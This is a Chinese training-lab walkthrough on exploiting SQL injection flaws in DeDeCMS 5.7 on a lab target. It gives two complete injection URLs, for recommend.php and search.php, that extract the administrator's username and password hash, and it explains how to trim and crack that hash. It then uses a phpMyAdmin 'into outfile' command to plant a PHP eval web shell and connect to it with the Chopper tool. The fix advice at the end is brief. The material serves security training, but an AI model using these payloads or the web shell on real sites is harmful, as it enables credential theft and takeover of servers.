Web安全-DeDeCMS5.7版本SQL注入漏洞利用
DeDeCMS5.7版本SQL注入漏洞利用
实验目的
通过本实验理解DeDeCMS5.7版本存在SQL注入漏洞带来的危害,掌握针对漏洞的利用方法,熟悉CMS框架SQL注入漏洞的防护方法。
实验环境
渗透主机:win2k8
用户名: college
密码: 360College
目标靶机:cms-inject
用户名: college
密码: 360College
访问网站:http://IP:8081
实验步骤
第一步 录目标靶机,启动网站服务
1、启动phpstudy(桌面图标):
找到程序启动位置
启动服务
启动成功时的表现
如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。
第二步 渗透平台上访问目标网站
(1)打开云主机,输入密码360College登录靶机
(2)输入http://192.168.0.18:8081 访问网站主页:
第三步 利用SQL注入漏洞进行漏洞利用
(1)首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,(判断是否是dede的cms 以及看看是否和这个漏洞相对应) 返回内容:
(2)访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,若返回内容:
表明可以进行SQL注入。
(3)利用SQL注入POC进行漏洞利用
http://IP:8081/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
执行后的效果为直接暴出用户名、密码。
与密码相关的信息细节如下
其实,在search.php页面,也存在注入漏洞。
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
执行结果如下:
即可得到管理员用户名和密码散列值。
重要说明: 得到的是20位的散列值,去掉前三位和最后一位,得到管理员的16位MD5值。 dedecms织梦管理员的密码使用了MD5_16加密算法加密后经过运算生成一个20位的字符串。这个密文是用密码通过32位的MD5加密规则,再去除前5位后7位而产生的。32位密文转换成16位,其实就是取中间的16位。也就是说要在前面和后面分别去除8位。那么在20位密文中,只需要去除前3位和最后1位,就可以得到16位密文了。
这里的MD5应该为8e53a7600982b533
去https://md5.navisec.it/ 查询。 查到密码为admin360。
(此处得到的散列值,可能不一样,但是,查询到的密码值是一样的)
注意:很多从网上直接复制过来的POC,直接粘贴在地址栏,无法攻击成功。原因在于,复制过来的内容里面添加了很多回车符号!!! 切记,要放在word里面,去掉回车符号,成为一句话,才可以的。
登录网址:http://192.168.0.18:8081/dede。
以获取的口令密码登录成功
问题与解决: 如果登录页面为空,则在服务器端,将php版本切换为5.3.29+apache。重启后,进行登录实验。
#2、漏洞的其他利用方式
转换思路,可利用phpmyadmin数据库上传小马。
在靶机的后台,http://IP:8088,登录后,进入dedecms数据库。
于是,利用Havij 利用phpmyadmin执行sql命令:
select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/Dedecms57/install/insta11.php'
在Dedecms的install目录下,生成insta11.php,然后用菜刀连接。 菜刀连接路径:http://IP:80881/install/insta11.php,连接密码cmd。
(具体过程,可参考phpcms漏洞利用实验)
思考与总结
针对此漏洞的解决方案:升级DedeCms 至最新版;增加“membergroup”参数过滤。
所以,建议,网站运维人员,要密切关注产品厂商信息,及时升级到最新版本。